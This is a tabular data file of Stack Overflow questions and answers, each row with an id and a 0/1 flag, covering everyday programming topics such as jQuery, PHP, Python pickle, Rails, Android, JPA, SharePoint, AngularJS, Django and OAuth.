4095303	0	What is the recommended way to handle links that are used just for style and/or interactive purposes? <p>For example, the link below triggers something in jQuery but does not go to another page, I used this method a while back ago.</p> <pre><code>&lt;a class="trigger" href="#"&gt; Click Me &lt;/a&gt; </code></pre> <p>Notice theres a just a hash tag there, and usually causes the page to jump when clicked on, right? [I think]. It is only for interactive stuff, doesn't go to another page or anything else. I see a lot of developers do this.</p> <p>I feel like its the wrong thing to do though. Is there another recommended way to do this without using HTML attributes a way where it is not suppose to be used?</p> <p>Not using <code>&lt;button&gt;</code> ether because the link would not be a button.</p> <p>Maybe without a hash?</p> <pre><code>&lt;a class="trigger"&gt; Click Me &lt;/a&gt; </code></pre> <p>&amp; in CSS:</p> <pre><code>.trigger { cursor: pointer; } </code></pre> <p>So the user still knows its for something that you should click?</p>
22360469	0	 <p>I would go the one field approach. You could have three columns, <code>Name</code>, <code>Surname</code>, and <code>field_values</code>. In the <code>field_values</code> column, store a PHP <a href="http://php.net/serialize" rel="nofollow"><code>serialized</code></a> string of an array representing what would otherwise be your columns. For example, running:</p> <pre><code>array( ['col1'] =&gt; 'val', ['col2'] =&gt; 'val1', ['col3'] =&gt; 'val2', ['col4'] =&gt; 'val3' ) </code></pre> <p>through <code>serialize()</code> would give you:</p> <pre><code>a:4:{s:4:"col1";s:3:"val";s:4:"col2";s:4:"val1";s:4:"col3";s:4:"val2";s:4:"col4";s:4:"val3";} </code></pre> <p>and you can take this value and run it back through <code>unserialize()</code> to restore your array and use it however you need to. Loading/saving data within this array is no more difficult than changing values in the array before serializing it and then saving it to the <code>field_values</code> column.</p> <p>With this method you can have as many or few 'columns' as you need with no need for a ton of columns or tables.</p>
7031801	0	 <p>The question was edited after I originally posted this and it was accepted. The answer to the updated question is to open the file in binary mode:</p> <pre><code>crystal = open('vmises.dat', 'rb') </code></pre> <hr> <p>Answer to original, pre-edit question:</p> <p>Well, <code>data</code> is a string. The object you need to work on is <code>a</code>.</p> <pre><code>a = open('data.txt','r') b = pickle.load(a) c = pickle.load(a) d = pickle.load(a) a.close() </code></pre> <p>For <code>pickle</code> info, see the <a href="http://wiki.python.org/moin/UsingPickle" rel="nofollow">Python Wiki</a> or <a href="https://python4kids.wordpress.com/2011/02/04/an-awful-pickle/" rel="nofollow">Python for Kids</a>.</p>
28585915	0	 <p>There are two plugins/listeners that will generate this directly within JMeter UI or write the files to results if you are doing distributed test. Both are from the <a href="http://jmeter-plugins.org/wiki/ExtrasSet/" rel="nofollow noreferrer">Extras Set</a>.</p> <ul> <li><p><a href="http://jmeter-plugins.org/wiki/RespTimePercentiles/" rel="nofollow noreferrer">Response Times Percentiles</a> <img src="https://i.stack.imgur.com/MTL6I.png" alt="enter image description here"> The test I am using is simple and the response time is in ms. Y-axis is milliseconds, and X-Axis is percentage of requests responding in that time. </p></li> <li><p><a href="http://jmeter-plugins.org/wiki/RespTimesDistribution/" rel="nofollow noreferrer">Response Times Distribution</a> Same concept except Y-Axis is number of requests responding in that bucket, X-Axis the response time in milliseconds. The size of the distribution is configurable. </p></li> </ul> <p><img src="https://i.stack.imgur.com/3SNAy.png" alt="enter image description here"></p> <p>Plugin installation is described <a href="http://jmeter-plugins.org/wiki/PluginInstall/" rel="nofollow noreferrer">here</a>, it is as simple as copying files into your JMeter installation. </p>
5542143	0	 <p>try adding ToArray() after your LINQ query. I do know that LINQ follows lazy evaluation rule, and ToArray() forces evaluation to be eager. </p>
34745801	0	 <p>Do the following:</p> <pre><code>#config/routes.rb resources :jobs do get "search(/:keyword)", action: :show, on: :collection #-&gt; url.com/jobs/search?keyword=query || url.com/jobs/search/:keyword end #app/assets/javascripts/application.js $(document).on("keypress", "#search", function(e) { $.get("jobs/search", {keyword: $('#search').val()}); }); #app/controllers/jobs_controller.rb class JobsController &lt; ApplicationController def show if params[:keyword] @jobs = Job.where id: params[:keyword] else @job = Job.find params[:id] end respond_to do |format| format.js format.html {redirect_to customers_url} end end end #app/views/jobs/show.js.erb ("&lt;%=j render @jobs %&gt;").appendTo("#jobs-table"); </code></pre>
18732500	0	 <p>make <code>timerHolder</code> object <code>null</code> after canceling it.</p> <pre><code>if(Class.isAddTime()){ timerHolder.cancel(); timerHolder=null; AddTime(); Class.isAddTime = false; } </code></pre>
33540492	0	 <p><a href="http://stackoverflow.com/a/32454407/2281718">This answer</a> solved this problem for me. Create a custom <code>AppBarLayout.Behavior</code> like this:</p> <pre><code>public final class FlingBehavior extends AppBarLayout.Behavior { private static final int TOP_CHILD_FLING_THRESHOLD = 3; private boolean isPositive; public FlingBehavior() { } public FlingBehavior(Context context, AttributeSet attrs) { super(context, attrs); } @Override public boolean onNestedFling(CoordinatorLayout coordinatorLayout, AppBarLayout child, View target, float velocityX, float velocityY, boolean consumed) { if (velocityY &gt; 0 &amp;&amp; !isPositive || velocityY &lt; 0 &amp;&amp; isPositive) { velocityY = velocityY * -1; } if (target instanceof RecyclerView &amp;&amp; velocityY &lt; 0) { final RecyclerView recyclerView = (RecyclerView) target; final View firstChild = recyclerView.getChildAt(0); final int childAdapterPosition = recyclerView.getChildAdapterPosition(firstChild); consumed = childAdapterPosition &gt; TOP_CHILD_FLING_THRESHOLD; } return super.onNestedFling(coordinatorLayout, child, target, velocityX, velocityY, consumed); } @Override public void onNestedPreScroll(CoordinatorLayout coordinatorLayout, AppBarLayout child, View target, int dx, int dy, int[] consumed) { super.onNestedPreScroll(coordinatorLayout, child, target, dx, dy, consumed); isPositive = dy &gt; 0; } } </code></pre> <p>and add it to the <code>AppBarLayout</code> like this:</p> <pre><code>&lt;android.support.design.widget.AppBarLayout android:layout_width="match_parent" android:layout_height="wrap_content" ... app:layout_behavior="com.example.test.FlingBehavior"&gt; </code></pre>
38008596	0	 <p><strong>You can't <em>change</em> the ID of an entity</strong>. The ID uniquely identifies an entity object. Different ID = different entity object. You can manually edit the value of the annotated <code>@Id</code> column in the database, sure; but for all purposes, that record is now a <em>different</em> entity object, because it has a different ID.<br> For any framework to <em>know</em> that your <code>User</code> is the same <code>User</code> despite having a different ID, there'd have to exist some other internal column that could be used to identify the User. Something like "oh, ok, the <code>openID</code> is different but the <code>socialSecurityNumber</code> is the same, so it's the same <code>User</code>". But then again, your ID would not be the <code>openID</code> field: you'd have to annotate <code>socialSecurityNumber</code> as the actual <code>@Id</code> so the framework knows.</p> <p>And in fact, in your example you're doing this:</p> <pre><code>User user = userRepo.findOne("o3sVZuA4p81wG24ph5Z5lmnrVhlc"); </code></pre> <p>So it seems like you <em>do</em> have a unique ID <code>"o3sVZuA4p81wG24ph5Z5lmnrVhlc"</code>, it's only that you haven't declared it in your <code>User</code>.</p> <p>Just remove the <code>@Id</code> annotation from <code>openId</code> and declare that other field as <code>@Id</code>. That way you'd be able to update the <code>openID</code> of any <code>User</code> and have it reflected in every <code>Gift</code> too.</p>
2598638	0	 <p>No, you can't do this - but you should look at using <a href="http://msdn.microsoft.com/en-us/library/1hsbd92d.aspx" rel="nofollow noreferrer"><code>ArraySegment</code></a> instead.</p> <p>Note that an array object consists of metadata about its length etc and then the data itself. You can't create a slice of an existing array and still have the metadata next to the data, if you see what I mean - there'd have to be an extra level of indirection (which is what <code>ArraySegment</code> provides).</p> <p>(I'm slightly surprised that ArraySegment doesn't do more wrapping, e.g. by implementing <code>IList&lt;T&gt;</code>, but there we go. It would be easy enough to create such a structure if you wanted to.)</p>
1763477	0	 <p>admin/config/regional/date-time/formats and you can create custom formats and use it in views. remember to clear cache and reload the views edit page, otherwise you won't see the new formats.</p>
27583701	0	Using bind for form with lot of inputs (PHP) <p>I have form with lot of inputs, and I'm trying to import them in database (mysql). I want to use bind but trying to avoid writing all variables so many times. Probably I can't explain so good, so I will here is a code</p> <pre><code>if(isset($_POST['firstName']) &amp;&amp; isset($_POST['lastName']) &amp;&amp; isset($_POST['gender'])){ $firstName=trim($_POST['firstName']); $lastName=trim($_POST['lastName']); $gender=trim($_POST['gender']); if(!empty($firstName)&amp;&amp; !empty($lastName)) { $unos = $db-&gt;prepare("INSERT INTO members (firstName,lastName,gender) VALUES (?,?,?)"); $unos-&gt;bind_param('sss', $firstName, $lastName, $gender); if($unos-&gt;execute()) {.... </code></pre> <p>1.Well this is working fine , and it's not a problem, but now I want to add more inputs so I tried this </p> <pre><code>if(isset($_POST['firstName']) &amp;&amp; isset($_POST['lastName']) &amp;&amp; isset($_POST['gender'])){ $firstName=trim($_POST['firstName']); $lastName=trim($_POST['lastName']); $gender=trim($_POST['gender']); $param=array('$firstName','$lastName','$gender'); $type='sss'; $param_list = implode(',', $param); if(!empty($param)) { $unos = $db-&gt;prepare("INSERT INTO members (firstName,lastName,gender) VALUES (?,?,?)"); $unos-&gt;bind_param($type,implode(',', $param)); if($unos-&gt;execute()) {.... </code></pre> <p>and it's not working. I get "Number of elements in type definition string doesn't match number of bind variables"... I don't get it, because when I echo this implode thing I get what I need. I'm pretty newbie with PHP, so help will be so precious. :)</p>
30391255	0	 <p>In this statement, you get number, use it as address in <em>memory</em>, which is most likely invalid.</p> <pre><code>file.write((char*)num, sizeof(num)); </code></pre> <p>If you want to write <code>num</code> in binary representation, you should get its address first:</p> <pre><code>file.write(reinterpret_cast&lt;char*&gt;(&amp;num), sizeof(num)); </code></pre> <p>Note the ampersand which is unary operator for getting addresses. I have also used <code>reinterpret_cast</code> which is C++ type conversion for such cases. C-style conversion may hide errors (but <code>reinterpret_cast</code> is also valid for <code>int</code>-><code>*</code> conversion).</p> <p>P.S. <code>void main()</code> is an invalid prototype of main. It should return <code>int</code> at least.</p>
31426418	0	Converting HTML to pdf and save it to given location without opening "Save As" or "Download" window <p>I am converting html into pdf. It is working fine. but when i try to save html into any location it gives me error <code>Network path not found</code>. I am having some line of code</p> <pre><code> #region Trying to convert pdf Response.ContentType = "application/pdf"; Response.AddHeader("content-disposition", "attachment;filename=Panel.pdf"); Response.Cache.SetCacheability(HttpCacheability.NoCache); StringWriter sw = new StringWriter(); HtmlTextWriter hw = new HtmlTextWriter(sw); StringReader sr = new StringReader(htmlStringToConvert); iTextSharp.text.Document pdfDoc = new iTextSharp.text.Document(iTextSharp.text.PageSize.A4, 10f, 10f, 100f, 0f); HTMLWorker htmlparser = new HTMLWorker(pdfDoc); PdfWriter writer = PdfWriter.GetInstance(pdfDoc, Response.OutputStream); pdfDoc.Open(); htmlparser.Parse(sr); pdfDoc.Close(); Response.Write(pdfDoc); Response.End(); #endregion </code></pre> <p>I am getting error at <code>htmlparser.Parse(sr)</code>.</p> <p>Thanks in advance</p>
1426808	0	Can I deploy in SharePoint two Web Parts with the same DLL, but two .webpart files, at the same time <p>Is it possible to have two Web Parts with the same DLL, but two .webpart files, deployed in Sharepoint at the same time?</p> <p><strong>Background</strong> : I am developing an application that will generate a ".cab" file containing a Web Part (ASP.NET 2.0 Web Part). After that, the user should be able to deploy this ".cab" file in a in a SharePoint server.</p> <p>My application already includes the DLL of a Web Part. The "behavior" of this Web Part depends on the properties of the ".webpart" file which will be generated at runtime by my application (its content will change depending on certain user choices) After generating the ".webpart" file, it packages it to a ".cab" file along a Manifest.xml and the DLL.</p> <p>Imagine that the user creates two "cab" files using my application. And he wants to deploy them into SharePoint.</p> <p>To test this, I create this two ".cab" files with my app, and in SharePoint I execute:</p> <pre><code>$&gt; STSADM.EXE -o addwppack &lt;cab filename #1&gt; $&gt; STSADM.EXE -o addwppack &lt;cab filename #2&gt; $&gt; STSADM.EXE -o deletewppack &lt;cab filename #1&gt; </code></pre> <p>After the execution of the third command, the Web Part #2 doesn't have the DLL. When I installed Web Part #2, SharePoint override the DLL file of Web part #1 The problem here is that the DLL of both files is copied to same location. That location is the Assembly name of DLL. That assembly name cannot be changed without recompiling again (I think).</p> <p>Is there anyway to deploy two cab files independently, even if they share the same DLL?</p>
7208463	0	 <p>I have done something like this in my code recently. Would the following work for you?</p> <pre><code>public TEntity GetById(Guid id, params Expression&lt;Func&lt;TEntity, object&gt;&gt;[] includeProperties) { if (id == Guid.Empty) return null; var set = _unitOfWork.CreateSet&lt;TEntity&gt;(); foreach(var includeProperty in includeProperties) { set.Include(includeProperty); } return set.First(i =&gt; i.Id == id); } </code></pre> <p>Then you would call it like this...</p> <p><code>var entity = _repository.GetById(theId, e =&gt; e.Prop1, e=&gt; e.Prop2, e=&gt; e.Prop3);</code></p> <p>I know this doesn't exactly follow your pattern, but I think you could refactor it as required.</p>
28893201	0	Assign value to anchor tag - angularjs <p>User sees a list of options (eg: 1.Apple ; 2.Banana ; 3.Mango). There is a textbox where user types in the desired option and clicks send to proceed further.</p> <p><strong>Existing Setup:</strong></p> <p><strong>HTML:</strong></p> <pre><code>&lt;p ng-repeat="opt in objHistory.OptionItems track by $index"&gt; {{ opt.SortOrder }}. {{ opt.OptionName }} &lt;/p&gt; &lt;textarea ng-model="userInput"&gt;&lt;/textarea&gt; &lt;a href="javascript:;" ng-click="GetNextItem()"&gt;Send&lt;/a&gt; </code></pre> <p><strong>JS:</strong></p> <pre><code>$scope.GetNextItem = function () { alert($scope.userInput); //some code } </code></pre> <p>The above code is working good. But now I have changed the options to anchor tags, so user can click on them, instead of typing and the same flow follows.</p> <p><strong>New HTML:</strong></p> <pre><code>&lt;p ng-repeat="opt in objHistory.OptionItems track by $index"&gt; &lt;a href="javascript:;" ng-model = "userInput" ng-init="userInput=opt.SortOrder" ng-click="GetNextItem()"&gt;{{ opt.SortOrder }}. {{ opt.OptionName }} &lt;/a&gt; &lt;/p&gt; </code></pre> <p>I get <code>undefined</code> in the alert now. Where am I going wrong? Can the same <code>ng-model</code> variable name be used multiple times (I'm using it for the <code>textbox</code> and also the <code>anchor</code> tags)?</p>
437548	0	 <p>Instead of <code>%ProgramFiles%</code>, isn't there a <code>%Programfiles(x86)%</code> that always goes where you want, regardless of which cmd.exe is running? My XP-64 systems all have that; excuse me for not taking the time to boot up a Vista system.</p>
23775134	1	ForeignKey field with null=True gives 'NoneType' object has no attribute id <p>I am new to Django.</p> <p>I have the following models.py</p> <pre><code>from django.db import models from django.contrib.auth.models import User from django.utils import timezone import os def get_upload_path(instance, filename): return os.path.join( "folder_%d" % instance.folder.id, filename) class Folder(models.Model): folder_name=models.CharField(max_length=100) parent_folder=models.ForeignKey('self', null=True, blank=True) folder_description=models.TextField(max_length=200) def __unicode__(self): return self.folder_name class File(models.Model): folder=models.ForeignKey(Folder, null=True, blank=True) uploaded_file=models.FileField(upload_to=get_upload_path) pub_date = models.DateTimeField('date published',default=timezone.now()) tag=models.ManyToManyField(FileTag) notes=models.TextField(max_length=200) uploader=models.ForeignKey(User) def __unicode__(self): return str(self.uploaded_file) def filename(self): return os.path.basename(self.uploaded_file.name) </code></pre> <p>If I try to save a File object with folder attribute with null its gives me 'AttributeError' saying 'NoneType' Object has no attribute id</p>
3259059	0	converge to zero via underflow <p><strong>please ignore this post, I misread algorithm, so the question is not relevant. However, I cannot close post anymore</strong>. Please vote to close</p> <p>I have been using certain algorithm from numerical recipes, which converges to zero via underflow:</p> <pre><code>// all types are the same floating type sum = 0 for (i in 0,N) sum += abs(V[i]); </code></pre> <p>my question, how does it happen? how does sum of small positive floating-point numbers converge to underflow/zero?</p> <p>is there some condition where <code>0 + f = 0 , f &gt; 0</code>?</p> <p>algorithm in question is Jacoby, <a href="http://www.mpi-hd.mpg.de/astrophysik/HEA/internal/Numerical_Recipes/f11-1.pdf" rel="nofollow noreferrer">http://www.mpi-hd.mpg.de/astrophysik/HEA/internal/Numerical_Recipes/f11-1.pdf</a>, page 460. It is quite possible I misunderstand how the convergence is achieved, if so, please correct me.</p> <p>thank you</p>
26898066	0	Can't Delete Contacts from Read-Only Accounts - Sync Adapter <p>I've created a custom SyncAdapter and given it the following XML:</p> <pre><code>&lt;sync-adapter xmlns:android="http://schemas.android.com/apk/res/android" android:contentAuthority="com.android.contacts" android:supportsUploading="true" android:userVisible="true" android:accountType="@string/authenticator_account_type"/&gt; </code></pre> <p>Thousands of searches has led me to 'supportsUploading="true"' but this is definitely not the case - contacts are still being marked as read-only.</p> <p>Since most of the documentation has a very "self-explanatory" vibe to it (Which is definitely not the case), I have no idea where to begin. Could someone please give me direction on this?</p> <p><strong>Edit:</strong> I even verified that the Account was in line with what Google has set for their accounts:</p> <p><img src="https://i.stack.imgur.com/XM7nY.jpg" alt=""> </p>
13938619	0	 <p>In this particular case you could also override how REST framework determines the name to use for the endpoint, by overriding the <code>.get_name()</code> method.</p> <p>If you do take that route you'll probably find yourself wanting to define a set of base classes for your views, and override the method on all your base view using a simple mixin class.</p> <p>For example:</p> <pre><code>class GetNameMixin(object): def get_name(self): # Your docstring-or-ancestor-docstring code here class ListAPIView(GetNameMixin, generics.ListAPIView): pass class RetrieveAPIView(GetNameMixin, generics.RetrieveAPIView): pass </code></pre> <p>Note also that the <code>get_name</code> method is considered private, and is likely to change at some point in the future, so you would need to keep tabs on the release notes when upgrading, for any changes there. </p>
21973822	0	 <p><a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.polyfit.html" rel="nofollow">numpy.polyfit</a></p> <blockquote> <p>Fit a polynomial p(x) = p[0] * x**deg + ... + p[deg] of degree deg to points (x, y). Returns a vector of coefficients p that minimises the squared error.</p> </blockquote> <p>Example from the docs: </p> <pre><code>&gt;&gt;&gt; x = np.array([0.0, 1.0, 2.0, 3.0, 4.0, 5.0]) &gt;&gt;&gt; y = np.array([0.0, 0.8, 0.9, 0.1, -0.8, -1.0]) &gt;&gt;&gt; z = np.polyfit(x, y, 3) &gt;&gt;&gt; z array([ 0.08703704, -0.81349206, 1.69312169, -0.03968254]) </code></pre>
1927735	0	 <p>Given that characters can take a variable number of bytes this would be pretty tough to do without converting the bytes to characters with a <code>TextReader</code>.</p> <p>You could wrap up a <code>TextReader</code> and give it a <code>Seek</code> method that ensures enough characters have been loaded to satisfy each request.</p>
5587652	0	 <p>This might be more of a process issue and less of a coding issue.</p> <p>You need to strictly separate the implementation process and the roll-out process during software development. The configuration files containing the passwords must be filled with the real passwords during roll-out, not before. The programmers can work with the password for the developing environment and the roll-out team changes those passwords once the application is complete. That way the real passwords are never disclosed to the people coding the application.</p> <p>If you cannot ensure that programmers do not get access to the live system, you need to encrypt the configuration files. The best way to do this depends on the programming language. I am currently working on a Java application that encrypts the .properties files with the appropriate functions from the <a href="http://www.owasp.org/index.php/Category%3aOWASP_Enterprise_Security_API" rel="nofollow">ESAPI project</a> and I can recommend that. If you are using other languages, you have to find equivalent mechanisms.</p> <p>Any time you want to change passwords, an administrator generates a new file and encrypts it, before copying the file to the server.</p> <p>In case you want maximum security and do not want to store the key to decrypt the configuration on your system, an administrator can supply it whenever the system reboots. But this might take things too far, depending on your needs.</p>
12108141	0	 <p>you may want to apply a force or an impulse (which is a force applied in a time stamp only). See this link <a href="http://www.iforce2d.net/b2dtut/jumping" rel="nofollow">http://www.iforce2d.net/b2dtut/jumping</a></p>
3370623	0	 <p>I think the answer is that this is just a bug in the Microsoft IIS API that we have to live with. I've opened a bug report on MS connect which has had 2 upvotes, however MS have shown no interest in this (and I doubt they will any time soon).</p> <p>I don't believe there is a workaround for getting the actual state (as the question asks). Some have suggested that I should probe port 21, but this only tells me if there is <em>an</em> FTP server running, not <em>what</em> FTP server is running (as you can have multiple sites) -- so in some cases, this approach is completely useless.</p> <p>The workaround to <em>stopping and starting</em> the site (which also causes a similar error) is to set auto-start to false on the FTP site and restart IIS (it's not great, but it works just fine).</p>
10568422	0	 <p>The logical <a href="http://developer.android.com/reference/android/util/DisplayMetrics.html#density" rel="nofollow">density</a> of the display is given in the <code>DisplayMetrics</code> class, and can be retrieved with,</p> <pre><code>getResources().getDisplayMetrics().density </code></pre> <p>Thus, to convert <code>dp</code> to <code>px</code>, you would do,</p> <pre><code>int density = getResources().getDisplayMetrics().density; int px = (int) (dp * density); </code></pre> <p>To convert <code>px</code> to <code>dp</code>, just perform the inverse operation,</p> <pre><code>int dp = px/density; </code></pre>
16287730	0	 <p>it appears that <code>var</code> is <code>None</code> in what you provided. Everything is correct, but <code>var</code> does not contain a string.</p>
16030123	0	 <p><code>std::cin.ignore(100,'\n');</code> did the trick.</p>
19654087	0	How handle Log File in in selenium webdriver using java <p>I don't know how to handle log file in selenium webdriver using java .. i wanna perform following task in log file : - store label of each link of website page in log file - Read that stored label one by one </p> <p>is it possible in selenium ...?</p>
30736389	0	Ajax request not printing html response <p>I have an ajax request that fetches some data and returns a html response that I print out on the page. The problem is that for some reason the html response doesn't get printed, only textual data does. The correct response is being returned as I've checked in the browser console.</p> <p>Here is the ajax function:</p> <pre><code>function getRating(work_id, selectorToWriteTo) { $.ajax({ url: '/read/getRatingsForGivenWork', type: 'GET', dataType: 'html', async: true, data: { field1: work_id}, success: function (data) { //your success code $(selectorToWriteTo).html(data); }, error: function (xhr, ajaxOptions, thrownError) { alert("Error: " + thrownError); } }); } </code></pre> <p>function that returns the html data:</p> <pre><code> public function getRatingsForGivenWork() { $ratings = $this-&gt;getModel ( 'read', 'getRatingsForGivenWork', $_GET['field1']); if($ratings !== null) { print "&lt;div class=\"ui small star rating\" data-rating=\"" . $ratings ."\" data-max-rating=\"5\"&gt;Leave rating&lt;/div&gt;"; } else { print 0; } } </code></pre> <p>Where I invoke the ajax function:</p> <pre><code>&lt;div class="extra"&gt; &lt;script&gt; document.write(getRating(&lt;?php echo $row['works.work_id']; ?&gt;, '.extra')); &lt;/script&gt; &lt;/div&gt; </code></pre> <p>Response in Chrome developer tools:</p> <p><img src="https://i.stack.imgur.com/uvYJU.png" alt="enter image description here"></p> <p>Chrome console:</p> <p><img src="https://i.stack.imgur.com/wKdVA.png" alt="enter image description here"></p> <p>The right response comes back but it doesn't print the html on the page. Anyone know why this is?</p>
1060848	0	 <p>A slightly cleaner format of the above:</p> <pre><code> private void amount_PaidTextBox_KeyPress(object sender, KeyPressEventArgs e) { e.Handled = !(Char.IsNumber(e.KeyChar) || (e.KeyChar==Keys.Back)); } </code></pre>
11750278	0	Merge and rebase remote branches <p>I have one local branch <code>master</code>, and track two remote branches <code>master</code> and <code>dev-me</code>. Meanwhile, another developer has his own local <code>master</code>, and tracks the same remote <code>master</code> and his own dedicate remote branch <code>dev-other</code>.</p> <p>From time to time, we each respectively push from own local <code>master</code> to remote dev branch (i.e. <code>dev-me</code> or <code>dev-other</code>). We then want to merge our remote <code>dev-x</code> branches into the remote <code>master</code> branch.</p> <p>I am thinking to do the following:</p> <ol> <li><p>Either of us <em>merges</em> his remote <code>dev-x</code> branch into remote <code>master</code> branch.</p></li> <li><p>The other person <em>rebases</em> from this merged remote <code>master</code> branch to his own remote <code>dev-x</code> branch.</p></li> <li><p>The same person from step 2) <em>merges</em> back to the remote <code>master</code> branch.</p></li> </ol> <p>Is this a correct approach?</p>
27787123	0	 <p>I think you have a problem with quotes in your statement text. Look at this excerpt based on your code when I tested in the Immediate window:</p> <pre class="lang-sql prettyprint-override"><code>intYear = 2015 ? "WHERE [Market Segment]= 'CMS Part D (CY ' &amp; (intYear) &amp; ')'" WHERE [Market Segment]= 'CMS Part D (CY ' &amp; (intYear) &amp; ')' </code></pre> <p>That can't be right. And when Access tries to execute the query and sees <em>intYear</em>, it interprets that to be a parameter because the db engine knows nothing about a VBA variable named <em>intYear</em>.</p> <p>I think it should look like this:</p> <pre class="lang-sql prettyprint-override"><code>? "WHERE [Market Segment]= 'CMS Part D (CY " &amp; (intYear) &amp; ")'" WHERE [Market Segment]= 'CMS Part D (CY 2015)' </code></pre> <p>I encourage you to follow KevenDenen's advice to add <code>Debug.Print strCount2</code> to the code after it has finished building the <code>strCount2</code> string. Then you can run the code and view the text of the completed statement in the Immediate window. (You can use <kbd>Ctrl</kbd>+<kbd>g</kbd> to go to the Immediate window.) It helps tremendously to examine the actual statement your code is asking Access to execute.</p>
21388883	0	 <p>No, this is not possible. There is no API to programatically set the user's alarm.</p> <p>However, you can invoke the clock application to a specific view-state (alarm screen) and allow the user to set the alarm themselves.</p> <p>Here's how to invoke an app: <a href="https://developer.blackberry.com/native/documentation/cascades/device_platform/invocation/sending_invocation.html" rel="nofollow">https://developer.blackberry.com/native/documentation/cascades/device_platform/invocation/sending_invocation.html</a></p> <p>Here's the info on how to invoke the alarm clock: <a href="https://developer.blackberry.com/native/documentation/cascades/device_platform/invocation/clock.html" rel="nofollow">https://developer.blackberry.com/native/documentation/cascades/device_platform/invocation/clock.html</a></p>
10220362	0	 <p>If I may expand on <a href="http://stackoverflow.com/users/987361/user987361">user987361</a>'s answer:</p> <p>From the <a href="https://developers.google.com/accounts/docs/OAuth2WebServer#offline">offline access</a> portion of the OAuth2.0 docs:</p> <blockquote> <p>When your application receives a refresh token, it is important to store that refresh token for future use. If your application loses the refresh token, it will have to re-prompt the user for consent before obtaining another refresh token. If you need to re-prompt the user for consent, include the <code>approval_prompt</code> parameter in the authorization code request, and set the value to <code>force</code>.</p> </blockquote> <p>So, when you have already granted access, subsequent requests for a <code>grant_type</code> of <code>authorization_code</code> will not return the <code>refresh_token</code>, even if <code>access_type</code> was set to <code>offline</code> in the query string of the consent page.</p> <p>As stated in the quote above, in order to obtain a <strong>new</strong> <code>refresh_token</code> after already receiving one, you will need to send your user back through the prompt, which you can do by setting <code>approval_prompt</code> to <code>force</code>.</p> <p>Cheers,</p> <p>PS This change was announced in a <a href="http://googlecode.blogspot.com/2011/10/upcoming-changes-to-oauth-20-endpoint.html">blog post</a> as well.</p>
21450295	0	 <pre><code>struct A{ union B{ struct C { float x, y, z; } S; float xyz[3]; } U; int a; }; int main () { struct A v = { .U.S.x = 0.0f, .U.S.y = 123.234f, .U.S.z= 123.3f }; struct A w = { .U.xyz = {0.0f, 123.234f, 123.3f} }; printf("\n %f %f %f \n ",v.U.S.x, v.U.S.y ,v.U.S.z); } </code></pre>
6444854	0	 <p>It's a bit confusing but I think the optional attribute (@ManyToOne, @Basic,...) is not used for schema generation by some JPA implementations.</p> <p>I think you need to use the @JoinColumn annotation and set nullable to false: <a href="http://download.oracle.com/javaee/6/api/javax/persistence/JoinColumn.html" rel="nofollow">http://download.oracle.com/javaee/6/api/javax/persistence/JoinColumn.html</a></p> <p>(Or @Column in non-join cases: <a href="http://download.oracle.com/javaee/6/api/javax/persistence/Column.html" rel="nofollow">http://download.oracle.com/javaee/6/api/javax/persistence/Column.html</a>)</p>
28095927	0	 <p>Concatenate string properly:</p> <p>Replace this:</p> <pre><code>var newImage = "&lt;img src='https://api.twilio.com" + data + "/&gt;"; // you're missing to close quote for src here ^^ </code></pre> <p>With this:</p> <pre><code>var newImage = "&lt;img src='https://api.twilio.com" + data + "' /&gt;"; </code></pre> <p>Or switch the quotes:</p> <pre><code>var newImage = '&lt;img src="https://api.twilio.com' + data + '" /&gt;'; </code></pre>
599194	0	 <p>Try going:</p> <pre><code>$var=$d-&gt;say(); echo $var; </code></pre>
10692038	0	 <p>Here is an example script:</p> <pre><code>&lt;script type="text/javascript"&gt; if (top != self) { var wicket = top.Wicket; if (wicket &amp;&amp; wicket.Window) { var modal = wicket.Window.get(); if (modal) { modal.close(); } } top.location.href = location.href; } &lt;/script&gt; </code></pre>
9367102	0	 <p>The simplest way is to hook up to the <a href="http://msdn.microsoft.com/query/dev10.query?appId=Dev10IDEF1&amp;l=EN-US&amp;k=k%28MICROSOFT.WIN32.SYSTEMEVENTS.POWERMODECHANGED%29;k%28POWERMODECHANGED%29;k%28TargetFrameworkMoniker-%22.NETFRAMEWORK,VERSION=V4.0%22%29;k%28DevLang-CSHARP%29&amp;rd=true" rel="nofollow">Microsoft.Win32.SystemEvents.PowerModeChanged</a>. However, you need to look at the SystemInformation.PowerStatus value to figure out what changed.</p>
22480996	0	 <p>You can use <strong>Having Clause</strong> in Conjunction with <strong>Group By</strong></p> <pre><code>select ename from emp where sal &gt; any (select avg(sal) from emp group by deptno) having count(*)&gt;4; </code></pre>
27574559	0	 <p>The reason why <code>respond_to?(:say_hello)</code> is returning <code>false</code> is due to the fact <code>class A</code> has <code>say_hello</code> as instance method and since you are extending <code>class B</code> the <code>create_say_hello_if_not_exists</code> is declared as class method and it does not find <code>say_hello</code>. </p> <p>Changing the code to the following would do the trick. I'm declaring <code>say_hello</code> in <code>class A</code> as class method and am calling it in a static manner.</p> <pre> module B def create_say_hello_if_not_exists puts respond_to?(:say_hello) define_method :say_hello do puts 'hello' end unless respond_to?(:say_hello) end end class A def self.say_hello puts 'hi' end extend B create_say_hello_if_not_exists end A.say_hello </pre>
1065148	0	 <p>Rihan is partially correct...</p> <p>In your Project Property page, Web tab: Enable Edit and Continue</p> <p>If checked - The Development server will close when the app (not VS) stops.</p> <p>If unchecked - Development server keeps running</p>
10822468	0	 <p>vartical-align is very particular to get to work (which is why I almost never use it)</p> <p>On the span: <code>position:absolute; bottom:0; right:0;</code></p> <p>and put a height/width on the parent div and you'll be all set</p>
